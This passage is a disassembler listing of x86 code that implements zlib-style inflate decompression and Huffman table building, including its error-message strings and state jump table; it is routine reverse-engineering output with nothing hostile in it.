--------------------------------------------------------------------------- loc_60325E: ; CODE XREF: sub_6026FA+B53j mov dword ptr [esi], 12h loc_603264: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038B2o cmp [ebp+var_8], 6 jb short loc_6032C6 cmp [ebp+var_14], 102h jb short loc_6032C6 mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] push [ebp+var_20] mov [eax+0Ch], ecx mov ecx, [ebp+var_14] mov [eax+10h], ecx mov ecx, [ebp+Src] mov [eax], ecx mov ecx, [ebp+var_8] mov [eax+4], ecx push eax mov [esi+38h], ebx mov [esi+3Ch], edi call sub_60214D mov eax, [ebp+arg_0] mov ebx, [esi+38h] mov edi, [esi+3Ch] pop ecx pop ecx mov ecx, [eax+0Ch] mov [ebp+Dst], ecx mov ecx, [eax+10h] mov [ebp+var_14], ecx mov ecx, [eax] mov eax, [eax+4] mov [ebp+Src], ecx mov [ebp+var_8], eax mov [ebp+var_10], ebx jmp loc_60373A ; --------------------------------------------------------------------------- loc_6032C6: ; CODE XREF: sub_6026FA+B6Ej ; sub_6026FA+B77j mov ecx, [esi+54h] mov edx, [esi+4Ch] xor eax, eax inc eax shl eax, cl dec eax and eax, ebx mov eax, [edx+eax*4] jmp short loc_603309 ; --------------------------------------------------------------------------- loc_6032D9: ; CODE XREF: sub_6026FA+C17j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl mov ecx, [esi+54h] add edi, 8 add ebx, eax inc [ebp+Src] xor eax, eax inc eax shl eax, cl mov ecx, [esi+4Ch] dec eax and eax, ebx mov eax, [ecx+eax*4] loc_603309: ; CODE XREF: sub_6026FA+BDDj movzx ecx, ah cmp ecx, edi mov [ebp+Size], eax ja short loc_6032D9 test al, al jz loc_60339B test al, 0F0h jnz short loc_60339B movzx ecx, ah mov [ebp+var_10], ecx xor ecx, ecx mov cl, al mov [ebp+var_28], eax xor eax, eax inc eax add ecx, [ebp+var_10] shl eax, cl mov ecx, [ebp+var_10] dec eax and eax, ebx shr eax, cl movzx ecx, word ptr [ebp+Size+2] add eax, ecx mov eax, [edx+eax*4] movzx edx, byte ptr [ebp+var_28+1] jmp short loc_603389 ; --------------------------------------------------------------------------- loc_60334B: ; CODE XREF: sub_6026FA+C99j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl xor ecx, ecx mov cl, byte ptr [ebp+var_28] add edi, 8 add ebx, eax inc [ebp+Src] xor eax, eax inc eax add ecx, edx shl eax, cl mov ecx, edx dec eax and eax, ebx shr eax, cl movzx ecx, word ptr [ebp+var_28+2] add eax, ecx mov ecx, [esi+4Ch] mov eax, [ecx+eax*4] loc_603389: ; CODE XREF: sub_6026FA+C4Fj movzx ecx, ah add ecx, edx cmp ecx, edi mov [ebp+Size], eax ja short loc_60334B mov ecx, edx shr ebx, cl sub edi, edx loc_60339B: ; CODE XREF: sub_6026FA+C1Bj ; sub_6026FA+C23j movzx ecx, ah shr ebx, cl sub edi, ecx test al, al movzx ecx, word ptr [ebp+Size+2] mov [ebp+var_10], ebx mov [esi+40h], ecx jnz short loc_6033BB mov dword ptr [esi], 17h jmp loc_60373A ; --------------------------------------------------------------------------- loc_6033BB: ; CODE XREF: sub_6026FA+CB4j test al, 20h jnz loc_602CCD test al, 40h jz short loc_6033D6 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code" jmp loc_603734 ; --------------------------------------------------------------------------- loc_6033D6: ; CODE XREF: sub_6026FA+CCBj and eax, 0Fh mov [esi+48h], eax mov dword ptr [esi], 13h loc_6033E2: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038B6o mov eax, [esi+48h] test eax, eax jz short loc_603422 cmp edi, eax jnb short loc_603411 loc_6033ED: ; CODE XREF: sub_6026FA+D15j cmp [ebp+var_8], 0 jz loc_603788 mov ecx, [ebp+Src] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl add edi, 8 add ebx, edx inc [ebp+Src] cmp edi, [esi+48h] jb short loc_6033ED loc_603411: ; CODE XREF: sub_6026FA+CF1j xor edx, edx inc edx mov ecx, eax shl edx, cl dec edx and edx, ebx add [esi+40h], edx shr ebx, cl sub edi, eax loc_603422: ; CODE XREF: sub_6026FA+CEDj mov dword ptr [esi], 14h loc_603428: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038BAo mov ecx, [esi+58h] mov edx, [esi+50h] xor eax, eax inc eax shl eax, cl dec eax and eax, ebx mov eax, [edx+eax*4] jmp short loc_60346B ; --------------------------------------------------------------------------- loc_60343B: ; CODE XREF: sub_6026FA+D79j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl mov ecx, [esi+58h] add edi, 8 add ebx, eax inc [ebp+Src] xor eax, eax inc eax shl eax, cl mov ecx, [esi+50h] dec eax and eax, ebx mov eax, [ecx+eax*4] loc_60346B: ; CODE XREF: sub_6026FA+D3Fj movzx ecx, ah cmp ecx, edi mov [ebp+Size], eax ja short loc_60343B test al, 0F0h jnz short loc_6034F5 movzx ecx, ah mov [ebp+var_10], ecx xor ecx, ecx mov cl, al mov [ebp+var_28], eax xor eax, eax inc eax add ecx, [ebp+var_10] shl eax, cl mov ecx, [ebp+var_10] dec eax and eax, ebx shr eax, cl movzx ecx, word ptr [ebp+Size+2] add eax, ecx mov eax, [edx+eax*4] movzx edx, byte ptr [ebp+var_28+1] jmp short loc_6034E3 ; --------------------------------------------------------------------------- loc_6034A5: ; CODE XREF: sub_6026FA+DF3j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl xor ecx, ecx mov cl, byte ptr [ebp+var_28] add edi, 8 add ebx, eax inc [ebp+Src] xor eax, eax inc eax add ecx, edx shl eax, cl mov ecx, edx dec eax and eax, ebx shr eax, cl movzx ecx, word ptr [ebp+var_28+2] add eax, ecx mov ecx, [esi+50h] mov eax, [ecx+eax*4] loc_6034E3: ; CODE XREF: sub_6026FA+DA9j movzx ecx, ah add ecx, edx cmp ecx, edi mov [ebp+Size], eax ja short loc_6034A5 mov ecx, edx shr ebx, cl sub edi, edx loc_6034F5: ; CODE XREF: sub_6026FA+D7Dj movzx ecx, ah shr ebx, cl sub edi, ecx test al, 40h mov [ebp+var_10], ebx jz short loc_603512 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance code" jmp loc_603734 ; --------------------------------------------------------------------------- loc_603512: ; CODE XREF: sub_6026FA+E07j movzx ecx, word ptr [ebp+Size+2] and eax, 0Fh mov [esi+44h], ecx mov [esi+48h], eax mov dword ptr [esi], 15h loc_603525: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038BEo mov eax, [esi+48h] test eax, eax jz short loc_603568 cmp edi, eax jnb short loc_603554 loc_603530: ; CODE XREF: sub_6026FA+E58j cmp [ebp+var_8], 0 jz loc_603788 mov ecx, [ebp+Src] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl add edi, 8 add ebx, edx inc [ebp+Src] cmp edi, [esi+48h] jb short loc_603530 loc_603554: ; CODE XREF: sub_6026FA+E34j xor edx, edx inc edx mov ecx, eax shl edx, cl dec edx and edx, ebx add [esi+44h], edx shr ebx, cl sub edi, eax mov [ebp+var_10], ebx loc_603568: ; CODE XREF: sub_6026FA+E30j mov eax, [esi+2Ch] sub eax, [ebp+var_14] add eax, [ebp+var_20] cmp [esi+44h], eax jbe short loc_603585 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance too far back" jmp loc_603734 ; --------------------------------------------------------------------------- loc_603585: ; CODE XREF: sub_6026FA+E7Aj mov dword ptr [esi], 16h loc_60358B: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038C2o cmp [ebp+var_14], 0 jz loc_603788 mov eax, [ebp+var_20] sub eax, [ebp+var_14] mov ecx, [esi+44h] cmp ecx, eax jbe short loc_6035CF sub ecx, eax mov eax, [esi+34h] mov [ebp+Size], ecx mov ecx, [esi+30h] cmp [ebp+Size], ecx jbe short loc_6035BD add eax, [esi+28h] sub [ebp+Size], ecx sub eax, [ebp+Size] jmp short loc_6035C2 ; --------------------------------------------------------------------------- loc_6035BD: ; CODE XREF: sub_6026FA+EB6j sub eax, [ebp+Size] add eax, ecx loc_6035C2: ; CODE XREF: sub_6026FA+EC1j mov ecx, [esi+40h] cmp [ebp+Size], ecx mov [ebp+var_28], ecx jbe short loc_6035DD jmp short loc_6035DA ; --------------------------------------------------------------------------- loc_6035CF: ; CODE XREF: sub_6026FA+EA6j mov eax, [ebp+Dst] sub eax, ecx mov ecx, [esi+40h] mov [ebp+var_28], ecx loc_6035DA: ; CODE XREF: sub_6026FA+ED3j mov [ebp+Size], ecx loc_6035DD: ; CODE XREF: sub_6026FA+ED1j mov ecx, [ebp+var_14] cmp [ebp+Size], ecx jbe short loc_6035E8 mov [ebp+Size], ecx loc_6035E8: ; CODE XREF: sub_6026FA+EE9j sub ecx, [ebp+Size] mov [ebp+var_14], ecx mov ecx, [ebp+var_28] sub ecx, [ebp+Size] mov [esi+40h], ecx loc_6035F7: ; CODE XREF: sub_6026FA+F0Bj mov edx, [ebp+Dst] mov cl, [eax] inc [ebp+Dst] inc eax dec [ebp+Size] mov [edx], cl jnz short loc_6035F7 cmp dword ptr [esi+40h], 0 jnz loc_60373A loc_603611: ; CODE XREF: sub_6026FA+F3Aj mov dword ptr [esi], 12h jmp loc_60373A ; --------------------------------------------------------------------------- loc_60361C: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038C6o cmp [ebp+var_14], 0 jz loc_603788 mov ecx, [ebp+Dst] mov al, [esi+40h] inc [ebp+Dst] dec [ebp+var_14] mov [ecx], al jmp short loc_603611 ; --------------------------------------------------------------------------- loc_603636: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038CAo cmp dword ptr [esi+8], 0 jz loc_6036EA jmp short loc_603664 ; --------------------------------------------------------------------------- loc_603642: ; CODE XREF: sub_6026FA+F6Dj cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] mov [ebp+var_10], ebx add edi, 8 loc_603664: ; CODE XREF: sub_6026FA+F46j cmp edi, 20h jb short loc_603642 mov eax, [ebp+var_20] sub eax, [ebp+var_14] mov ecx, [ebp+arg_0] add [ecx+14h], eax add [esi+1Ch], eax test eax, eax mov [ebp+var_20], eax jz short loc_6036AA mov eax, [ebp+Dst] push [ebp+var_20] sub eax, [ebp+var_20] cmp dword ptr [esi+10h], 0 push eax push dword ptr [esi+18h] jz short loc_603699 call sub_6015F3 jmp short loc_60369E ; --------------------------------------------------------------------------- loc_603699: ; CODE XREF: sub_6026FA+F96j call loc_601185 loc_60369E: ; CODE XREF: sub_6026FA+F9Dj mov ecx, [ebp+arg_0] mov [esi+18h], eax add esp, 0Ch mov [ecx+30h], eax loc_6036AA: ; CODE XREF: sub_6026FA+F83j cmp dword ptr [esi+10h], 0 mov eax, [ebp+var_14] mov [ebp+var_20], eax mov eax, ebx jnz short loc_6036D5 and eax, 0FF00h mov edx, ebx shl edx, 10h add eax, edx xor edx, edx mov dh, byte ptr [ebp+var_10+2] shl eax, 8 add eax, edx mov edx, ebx shr edx, 18h add eax, edx loc_6036D5: ; CODE XREF: sub_6026FA+FBCj cmp eax, [esi+18h] jz short loc_6036E3 mov dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check" jmp short loc_603734 ; --------------------------------------------------------------------------- loc_6036E3: ; CODE XREF: sub_6026FA+FDEj xor ebx, ebx mov [ebp+var_10], ebx xor edi, edi loc_6036EA: ; CODE XREF: sub_6026FA+F40j mov dword ptr [esi], 19h loc_6036F0: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038CEo cmp dword ptr [esi+8], 0 jz short loc_603772 cmp dword ptr [esi+10h], 0 jz short loc_603772 jmp short loc_603720 ; --------------------------------------------------------------------------- loc_6036FE: ; CODE XREF: sub_6026FA+1029j cmp [ebp+var_8], 0 jz loc_603788 mov eax, [ebp+Src] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+Src] mov [ebp+var_10], ebx add edi, 8 loc_603720: ; CODE XREF: sub_6026FA+1002j cmp edi, 20h jb short loc_6036FE cmp ebx, [esi+1Ch] jz short loc_60376E mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aIncorrectLengt ; "incorrect length check" loc_603734: ; CODE XREF: sub_6026FA+156j ; sub_6026FA+19Aj ... mov dword ptr [esi], 1Bh loc_60373A: ; CODE XREF: sub_6026FA+6Bj ; sub_6026FA+84j ... mov eax, [esi] cmp eax, 1Ch jbe loc_60276A loc_603745: ; CODE XREF: sub_6026FA+10j ; sub_6026FA+1Bj ... push 0FFFFFFFEh loc_603747: ; CODE XREF: sub_6026FA+1072j ; sub_6026FA+10DBj pop eax loc_603748: ; CODE XREF: sub_6026FA+116Bj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_60374D: ; CODE XREF: sub_6026FA+63Ej mov eax, [ebp+Dst] mov [ecx+0Ch], eax mov eax, [ebp+var_14] mov [ecx+10h], eax mov eax, [ebp+Src] mov [ecx], eax mov eax, [ebp+var_8] mov [ecx+4], eax mov [esi+38h], ebx mov [esi+3Ch], edi push 2 jmp short loc_603747 ; --------------------------------------------------------------------------- loc_60376E: ; CODE XREF: sub_6026FA+102Ej xor ebx, ebx xor edi, edi loc_603772: ; CODE XREF: sub_6026FA+FFAj ; sub_6026FA+1000j mov dword ptr [esi], 1Ah loc_603778: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038D2o mov [ebp+var_24], 1 jmp short loc_603788 ; --------------------------------------------------------------------------- loc_603781: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038D6o mov [ebp+var_24], 0FFFFFFFDh loc_603788: ; CODE XREF: sub_6026FA+8Dj ; sub_6026FA+1A3j ... mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+0Ch], ecx mov ecx, [ebp+var_14] mov [eax+10h], ecx mov ecx, [ebp+Src] mov [eax], ecx mov ecx, [ebp+var_8] mov [eax+4], ecx cmp dword ptr [esi+28h], 0 mov [esi+38h], ebx mov [esi+3Ch], edi jnz short loc_6037BE cmp dword ptr [esi], 18h jge short loc_6037DA mov eax, [ebp+var_20] mov ecx, [ebp+arg_0] cmp eax, [ecx+10h] jz short loc_6037DA loc_6037BE: ; CODE XREF: sub_6026FA+10B2j mov eax, [ebp+var_20] mov edi, [ebp+arg_0] call sub_602622 test eax, eax jz short loc_6037DA mov dword ptr [esi], 1Ch loc_6037D3: ; CODE XREF: sub_6026FA:loc_60276Aj ; DATA XREF: .text:006038DAo push 0FFFFFFFCh jmp loc_603747 ; --------------------------------------------------------------------------- loc_6037DA: ; CODE XREF: sub_6026FA+10B7j ; sub_6026FA+10C2j ... mov edi, [ebp+arg_0] mov eax, [ebp+var_2C] sub eax, [edi+4] mov ebx, [ebp+var_20] sub ebx, [edi+10h] add [edi+8], eax add [edi+14h], ebx add [esi+1Ch], ebx cmp dword ptr [esi+8], 0 mov [ebp+var_2C], eax jz short loc_603827 test ebx, ebx jz short loc_603827 mov eax, [edi+0Ch] push ebx sub eax, ebx cmp dword ptr [esi+10h], 0 push eax push dword ptr [esi+18h] jz short loc_603816 call sub_6015F3 jmp short loc_60381B ; --------------------------------------------------------------------------- loc_603816: ; CODE XREF: sub_6026FA+1113j call loc_601185 loc_60381B: ; CODE XREF: sub_6026FA+111Aj mov [esi+18h], eax mov [edi+30h], eax mov eax, [ebp+var_2C] add esp, 0Ch loc_603827: ; CODE XREF: sub_6026FA+10FFj ; sub_6026FA+1103j cmp dword ptr [esi], 0Bh jnz short loc_603833 mov ecx, 80h jmp short loc_603835 ; --------------------------------------------------------------------------- loc_603833: ; CODE XREF: sub_6026FA+1130j xor ecx, ecx loc_603835: ; CODE XREF: sub_6026FA+1137j mov edx, [esi+4] neg edx sbb edx, edx and edx, 40h add edx, ecx add edx, [esi+3Ch] test eax, eax mov [edi+2Ch], edx jnz short loc_60384F test ebx, ebx jz short loc_603855 loc_60384F: ; CODE XREF: sub_6026FA+114Fj cmp [ebp+arg_4], 4 jnz short loc_603862 loc_603855: ; CODE XREF: sub_6026FA+1153j cmp [ebp+var_24], 0 jnz short loc_603862 mov [ebp+var_24], 0FFFFFFFBh loc_603862: ; CODE XREF: sub_6026FA+1159j ; sub_6026FA+115Fj mov eax, [ebp+var_24] jmp loc_603748 sub_6026FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_60386A dd offset loc_602771 ; DATA XREF: sub_6026FA:loc_60276Ar dd offset loc_6028BB dd offset loc_60294A dd offset loc_6029B7 dd offset loc_602A09 dd offset loc_602A24 dd offset loc_602B25 dd offset loc_602BB8 dd offset loc_602C4B dd offset loc_602CFA dd offset loc_602D31 dd offset loc_602D5A dd offset loc_602D64 dd offset loc_602E14 dd offset loc_602E77 dd offset loc_602EEC dd offset loc_602F92 dd offset loc_603199 dd offset loc_603264 dd offset loc_6033E2 dd offset loc_603428 dd offset loc_603525 dd offset loc_60358B dd offset loc_60361C dd offset loc_603636 dd offset loc_6036F0 dd offset loc_603778 dd offset loc_603781 dd offset loc_6037D3 ; =============== S U B R O U T I N E ======================================= sub_6038DE proc near ; CODE XREF: sub_60510C+59p ; sub_60510C+81p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_603917 mov eax, [esi+1Ch] test eax, eax jz short loc_603917 mov ecx, [esi+24h] test ecx, ecx jz short loc_603917 mov eax, [eax+34h] test eax, eax jz short loc_603904 push eax push dword ptr [esi+28h] call ecx pop ecx pop ecx loc_603904: ; CODE XREF: sub_6038DE+1Cj push dword ptr [esi+1Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] and dword ptr [esi+1Ch], 0 pop ecx pop ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_603917: ; CODE XREF: sub_6038DE+7j ; sub_6038DE+Ej ... push 0FFFFFFFEh pop eax pop esi retn sub_6038DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_60391C proc near ; CODE XREF: sub_6026FA+8E4p ; sub_6026FA+B01p ... var_7C = word ptr -7Ch var_7A = word ptr -7Ah var_5C = word ptr -5Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 7Ch push ebx push esi push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_5C] rep stosd xor edx, edx xor ecx, ecx cmp [ebp+arg_8], edx jbe short loc_60394C loc_603938: ; CODE XREF: sub_60391C+2Ej mov eax, [ebp+arg_4] movzx eax, word ptr [eax+ecx*2] lea eax, [ebp+eax*2+var_5C] inc word ptr [eax] inc ecx cmp ecx, [ebp+arg_8] jb short loc_603938 loc_60394C: ; CODE XREF: sub_60391C+1Aj mov esi, [ebp+arg_10] mov eax, [esi] push 0Fh pop ebx mov [ebp+var_C], eax mov [ebp+var_1C], ebx loc_60395A: ; CODE XREF: sub_60391C+4Cj cmp [ebp+ebx*2+var_5C], dx jnz short loc_60396A dec ebx cmp ebx, 1 mov [ebp+var_1C], ebx jnb short loc_60395A loc_60396A: ; CODE XREF: sub_60391C+43j cmp eax, ebx jbe short loc_603971 mov [ebp+var_C], ebx loc_603971: ; CODE XREF: sub_60391C+50j cmp ebx, edx jnz short loc_6039A0 mov ecx, [ebp+arg_C] mov word ptr [ebp+arg_8+2], dx mov edx, [ecx] mov byte ptr [ebp+arg_8], 40h mov byte ptr [ebp+arg_8+1], 1 mov eax, [ebp+arg_8] mov [edx], eax add dword ptr [ecx], 4 mov edx, [ecx] mov [edx], eax add dword ptr [ecx], 4 mov dword ptr [esi], 1 jmp loc_603CC7 ; --------------------------------------------------------------------------- loc_6039A0: ; CODE XREF: sub_60391C+57j xor edi, edi inc edi mov eax, edi mov [ebp+var_18], eax loc_6039A8: ; CODE XREF: sub_60391C+9Cj xor esi, esi cmp [ebp+eax*2+var_5C], si jnz short loc_6039BA inc eax cmp eax, 0Fh mov [ebp+var_18], eax jbe short loc_6039A8 loc_6039BA: ; CODE XREF: sub_60391C+93j cmp [ebp+var_C], eax jnb short loc_6039C2 mov [ebp+var_C], eax loc_6039C2: ; CODE XREF: sub_60391C+A1j mov edx, edi mov ecx, edi loc_6039C6: ; CODE XREF: sub_60391C+B9j movzx eax, [ebp+ecx*2+var_5C] add edx, edx sub edx, eax js short loc_6039E4 inc ecx cmp ecx, 0Fh jbe short loc_6039C6 cmp edx, esi jle short loc_6039EC cmp [ebp+arg_0], esi jz short loc_6039E4 cmp ebx, edi jz short loc_6039EC loc_6039E4: ; CODE XREF: sub_60391C+B3j ; sub_60391C+C2j or eax, 0FFFFFFFFh jmp loc_603CC9 ; --------------------------------------------------------------------------- loc_6039EC: ; CODE XREF: sub_60391C+BDj ; sub_60391C+C6j push 2 mov [ebp+var_7A], si pop ecx loc_6039F3: ; CODE XREF: sub_60391C+EBj mov ax, [ebp+ecx+var_7C] add ax, [ebp+ecx+var_5C] inc ecx mov [ebp+ecx+var_7C+1], ax inc ecx cmp ecx, 1Eh jb short loc_6039F3 xor edx, edx cmp [ebp+arg_8], esi jbe short loc_603A3A loc_603A10: ; CODE XREF: sub_60391C+11Cj mov eax, [ebp+arg_4] lea eax, [eax+edx*2] cmp [eax], si jz short loc_603A34 movzx ecx, word ptr [eax] movzx ecx, [ebp+ecx*2+var_7C] mov ebx, [ebp+arg_14] mov [ebx+ecx*2], dx movzx ecx, word ptr [eax] lea ecx, [ebp+ecx*2+var_7C] inc word ptr [ecx] loc_603A34: ; CODE XREF: sub_60391C+FDj inc edx cmp edx, [ebp+arg_8] jb short loc_603A10 loc_603A3A: ; CODE XREF: sub_60391C+F2j mov ecx, [ebp+arg_0] sub ecx, esi jz short loc_603A7A dec ecx jz short loc_603A58 or [ebp+var_14], 0FFFFFFFFh mov [ebp+var_28], offset dword_60BCB0 mov [ebp+var_24], offset dword_60BCF0 jmp short loc_603A8A ; --------------------------------------------------------------------------- loc_603A58: ; CODE XREF: sub_60391C+126j mov ecx, 202h mov edx, offset dword_60BC30 sub edx, ecx mov [ebp+var_28], edx mov edx, offset dword_60BC70 sub edx, ecx mov [ebp+var_24], edx mov [ebp+var_14], 100h jmp short loc_603A8A ; --------------------------------------------------------------------------- loc_603A7A: ; CODE XREF: sub_60391C+123j mov ecx, [ebp+arg_14] mov [ebp+var_24], ecx mov [ebp+var_28], ecx mov [ebp+var_14], 13h loc_603A8A: ; CODE XREF: sub_60391C+13Aj ; sub_60391C+15Cj mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov ebx, [ebp+arg_C] and [ebp+var_8], 0 or [ebp+var_30], 0FFFFFFFFh mov edx, edi shl edx, cl cmp [ebp+arg_0], edi mov [ebp+var_4], esi mov esi, [ebx] lea ecx, [edx-1] mov [ebp+var_2C], eax mov [ebp+var_34], edx mov [ebp+var_20], edx mov [ebp+var_38], ecx jnz short loc_603AC7 cmp edx, 5B0h jb short loc_603AC7 mov eax, edi jmp loc_603CC9 ; --------------------------------------------------------------------------- loc_603AC7: ; CODE XREF: sub_60391C+19Aj ; sub_60391C+1A2j mov ecx, [ebp+arg_14] mov [ebp+var_10], ecx loc_603ACD: ; CODE XREF: sub_60391C+27Cj ; sub_60391C+28Ej ... mov cl, al sub cl, byte ptr [ebp+var_8] mov byte ptr [ebp+arg_8+1], cl mov ecx, [ebp+var_10] mov cx, [ecx] movzx edx, cx cmp edx, [ebp+var_14] jge short loc_603AED mov byte ptr [ebp+arg_8], 0 loc_603AE7: ; CODE XREF: sub_60391C+1EBj mov word ptr [ebp+arg_8+2], cx jmp short loc_603B12 ; --------------------------------------------------------------------------- loc_603AED: ; CODE XREF: sub_60391C+1C5j jle short loc_603B09 mov ecx, [ebp+var_10] movzx ecx, word ptr [ecx] mov edx, [ebp+var_24] shl ecx, 1 mov dl, [ecx+edx] mov byte ptr [ebp+arg_8], dl mov edx, [ebp+var_28] mov cx, [ecx+edx] jmp short loc_603AE7 ; --------------------------------------------------------------------------- loc_603B09: ; CODE XREF: sub_60391C:loc_603AEDj and word ptr [ebp+arg_8+2], 0 mov byte ptr [ebp+arg_8], 60h loc_603B12: ; CODE XREF: sub_60391C+1CFj mov edi, [ebp+var_34] mov ecx, eax sub ecx, [ebp+var_8] mov eax, [ebp+var_4] xor edx, edx inc edx shl edx, cl mov ecx, [ebp+var_8] shr eax, cl mov [ebp+var_18], edi add eax, edi lea ecx, [esi+eax*4] loc_603B2F: ; CODE XREF: sub_60391C+223j mov eax, edx shl eax, 2 sub ecx, eax mov eax, [ebp+arg_8] sub edi, edx test edi, edi mov [ecx], eax jnz short loc_603B2F mov eax, [ebp+var_2C] xor edx, edx lea ecx, [eax-1] inc edx shl edx, cl mov ecx, [ebp+var_4] jmp short loc_603B53 ; --------------------------------------------------------------------------- loc_603B51: ; CODE XREF: sub_60391C+239j shr edx, 1 loc_603B53: ; CODE XREF: sub_60391C+233j test edx, ecx jnz short loc_603B51 test edx, edx jz short loc_603B67 lea edi, [edx-1] and edi, ecx add edi, edx mov [ebp+var_4], edi jmp short loc_603B6B ; --------------------------------------------------------------------------- loc_603B67: ; CODE XREF: sub_60391C+23Dj and [ebp+var_4], 0 loc_603B6B: ; CODE XREF: sub_60391C+249j add [ebp+var_10], 2 lea ecx, [ebp+eax*2+var_5C] dec word ptr [ecx] cmp word ptr [ecx], 0 jnz short loc_603B95 cmp eax, [ebp+var_1C] jz loc_603C47 mov eax, [ebp+var_10] movzx eax, word ptr [eax] mov ecx, [ebp+arg_4] movzx eax, word ptr [ecx+eax*2] mov [ebp+var_2C], eax loc_603B95: ; CODE XREF: sub_60391C+25Ej cmp eax, [ebp+var_C] jbe loc_603ACD mov ecx, [ebp+var_38] and ecx, [ebp+var_4] cmp ecx, [ebp+var_30] mov [ebp+var_3C], ecx jz loc_603ACD mov edi, [ebp+var_8] test edi, edi jnz short loc_603BBD mov edi, [ebp+var_C] mov [ebp+var_8], edi loc_603BBD: ; CODE XREF: sub_60391C+299j mov ecx, [ebp+var_18] lea esi, [esi+ecx*4] xor edx, edx mov ecx, eax sub ecx, edi inc edx add edi, ecx shl edx, cl cmp edi, [ebp+var_1C] jnb short loc_603BFB mov [ebp+var_18], edi lea eax, [ebp+edi*2+var_5C] jmp short loc_603BDF ; --------------------------------------------------------------------------- loc_603BDC: ; CODE XREF: sub_60391C+2DDj mov eax, [ebp+var_34] loc_603BDF: ; CODE XREF: sub_60391C+2BEj movzx edi, word ptr [eax] sub edx, edi test edx, edx jle short loc_603BFB inc ecx inc [ebp+var_18] inc eax inc eax mov [ebp+var_34], eax mov eax, [ebp+var_18] shl edx, 1 cmp eax, [ebp+var_1C] jb short loc_603BDC loc_603BFB: ; CODE XREF: sub_60391C+2B5j ; sub_60391C+2CAj xor eax, eax inc eax mov edx, eax shl edx, cl add [ebp+var_20], edx cmp [ebp+arg_0], eax mov [ebp+var_34], edx jnz short loc_603C1A cmp [ebp+var_20], 5B0h jnb loc_603CC9 loc_603C1A: ; CODE XREF: sub_60391C+2EFj mov edx, [ebp+var_3C] mov eax, [ebx] mov [ebp+var_30], edx shl edx, 2 mov [edx+eax], cl mov eax, [ebx] mov cl, byte ptr [ebp+var_C] mov [edx+eax+1], cl mov ecx, [ebx] mov eax, esi sub eax, ecx sar eax, 2 mov [edx+ecx+2], ax mov eax, [ebp+var_2C] jmp loc_603ACD ; --------------------------------------------------------------------------- loc_603C47: ; CODE XREF: sub_60391C+263j mov edi, [ebp+var_4] and word ptr [ebp+arg_8+2], 0 mov cl, al sub cl, byte ptr [ebp+var_8] test edi, edi mov byte ptr [ebp+arg_8], 40h mov byte ptr [ebp+arg_8+1], cl jz short loc_603CB7 jmp short loc_603C64 ; --------------------------------------------------------------------------- loc_603C61: ; CODE XREF: sub_60391C+399j mov edi, [ebp+var_4] loc_603C64: ; CODE XREF: sub_60391C+343j cmp [ebp+var_8], 0 jz short loc_603C80 mov ecx, [ebp+var_38] and ecx, edi cmp ecx, [ebp+var_30] jz short loc_603C80 mov eax, [ebp+var_C] and [ebp+var_8], 0 mov esi, [ebx] mov byte ptr [ebp+arg_8+1], al loc_603C80: ; CODE XREF: sub_60391C+34Cj ; sub_60391C+356j mov ecx, [ebp+var_8] mov edx, edi shr edx, cl mov ecx, [ebp+arg_8] mov [esi+edx*4], ecx xor edx, edx lea ecx, [eax-1] inc edx shl edx, cl jmp short loc_603C99 ; --------------------------------------------------------------------------- loc_603C97: ; CODE XREF: sub_60391C+37Fj shr edx, 1 